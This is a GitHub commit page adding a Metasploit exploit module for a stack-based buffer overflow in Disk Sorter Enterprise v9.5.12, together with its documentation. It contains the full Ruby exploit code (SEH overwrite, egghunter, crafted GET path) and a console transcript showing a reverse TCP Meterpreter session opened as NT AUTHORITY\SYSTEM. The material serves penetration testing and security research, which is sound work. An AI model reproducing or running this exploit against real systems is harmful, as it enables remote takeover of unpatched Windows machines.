Skip to content

Commit 3208986

Browse files
committed
Land rapid7#8266, Add Buffer Overflow Exploit on Disk Sorter Enterprise
2 parents 1d86905 + a404a1e commit 3208986

File tree

2 files changed

+177
-0
lines changed

2 files changed

+177
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Vulnerable Application
2+
3+
[Disk Sorter Enterprise](http://www.disksorter.com) versions up to v9.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/5ffae2c1a4b2165e0dd2a8e37765ef0e-disksorterent_setup_v9.5.12.exe).
4+
5+
## Verification Steps
6+
1. Install a vulnerable Disk Sorter Enterprise
7+
2. Start `Disk Sorter Enterprise` service
8+
3. Start `Disk Sorter Enterprise` client application
9+
4. Navigate to `Tools` > `Disk Sorter Options` > `Server`
10+
5. Check `Enable Web Server On Port 80` to start the web interface
11+
6. Start `msfconsole`
12+
7. Do `use exploit/windows/http/disksorter_bof`
13+
8. Do `set RHOST ip`
14+
9. Do `check`
15+
10. Verify the target is vulnerable
16+
11. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
17+
12. Do `set LHOST ip`
18+
13. Do `exploit`
19+
14. Verify the Meterpreter session is opened
20+
21+
## Scenarios
22+
23+
###Disk Sorter Enterprise v9.5.12 on Windows 7 SP1
24+
25+
```
26+
msf exploit(disksorter_bof) > show options
27+
28+
Module options (exploit/windows/http/disksorter_bof):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
33+
RHOST 172.16.0.9 yes The target address
34+
RPORT 80 yes The target port (TCP)
35+
SSL false no Negotiate SSL/TLS for outgoing connections
36+
VHOST no HTTP server virtual host
37+
38+
39+
Payload options (windows/meterpreter/reverse_tcp):
40+
41+
Name Current Setting Required Description
42+
---- --------------- -------- -----------
43+
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
44+
LHOST 172.16.0.20 yes The listen address
45+
LPORT 4444 yes The listen port
46+
47+
48+
Exploit target:
49+
50+
Id Name
51+
-- ----
52+
0 Disk Sorter Enterprise v9.5.15
53+
54+
55+
msf exploit(disksorter_bof) > exploit
56+
57+
[*] Started reverse TCP handler on 172.16.0.20:4444
58+
[*] Sending request...
59+
[*] Sending stage (957487 bytes) to 172.16.0.9
60+
[*] Meterpreter session 1 opened (172.16.0.20:4444 -> 172.16.0.9:59371) at 2017-04-24 14:46:52 +0100
61+
62+
meterpreter > getuid
63+
Server username: NT AUTHORITY\SYSTEM
64+
meterpreter > sysinfo
65+
Computer : PC
66+
OS : Windows 7 (Build 7601, Service Pack 1).
67+
Architecture : x86
68+
System Language : pt_PT
69+
Domain : WORKGROUP
70+
Logged On Users : 1
71+
Meterpreter : x86/windows
72+
meterpreter >
73+
```
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::Seh
12+
include Msf::Exploit::Remote::Egghunter
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Disk Sorter Enterprise GET Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack-based buffer overflow vulnerability
20+
in the web interface of Disk Sorter Enterprise v9.5.12, caused by
21+
improper bounds checking of the request path in HTTP GET requests
22+
sent to the built-in web server. This module has been tested
23+
successfully on Windows 7 SP1 x86.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Daniel Teixeira'
29+
],
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread'
33+
},
34+
'Platform' => 'win',
35+
'Payload' =>
36+
{
37+
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
38+
'Space' => 500
39+
},
40+
'Targets' =>
41+
[
42+
[ 'Disk Sorter Enterprise v9.5.12',
43+
{
44+
'Offset' => 2488,
45+
'Ret' => 0x10051223 # POP # POP # RET [libspp.dll]
46+
}
47+
]
48+
],
49+
'Privileged' => true,
50+
'DisclosureDate' => 'Mar 15 2017',
51+
'DefaultTarget' => 0))
52+
end
53+
54+
def check
55+
res = send_request_cgi(
56+
'method' => 'GET',
57+
'uri' => '/'
58+
)
59+
60+
if res && res.code == 200
61+
version = res.body[/Disk Sorter Enterprise v[^<]*/]
62+
if version
63+
vprint_status("Version detected: #{version}")
64+
if version =~ /9\.5\.12/
65+
return Exploit::CheckCode::Appears
66+
end
67+
return Exploit::CheckCode::Detected
68+
end
69+
else
70+
vprint_error('Unable to determine due to a HTTP connection timeout')
71+
return Exploit::CheckCode::Unknown
72+
end
73+
74+
Exploit::CheckCode::Safe
75+
end
76+
77+
def exploit
78+
79+
eggoptions = {
80+
checksum: true,
81+
eggtag: rand_text_alpha(4, payload_badchars)
82+
}
83+
84+
hunter, egg = generate_egghunter(
85+
payload.encoded,
86+
payload_badchars,
87+
eggoptions
88+
)
89+
90+
sploit = rand_text_alpha(target['Offset'])
91+
sploit << generate_seh_record(target.ret)
92+
sploit << hunter
93+
sploit << make_nops(10)
94+
sploit << egg
95+
sploit << rand_text_alpha(5500)
96+
97+
print_status('Sending request...')
98+
99+
send_request_cgi(
100+
'method' => 'GET',
101+
'uri' => sploit
102+
)
103+
end
104+
end

0 commit comments

Comments
 (0)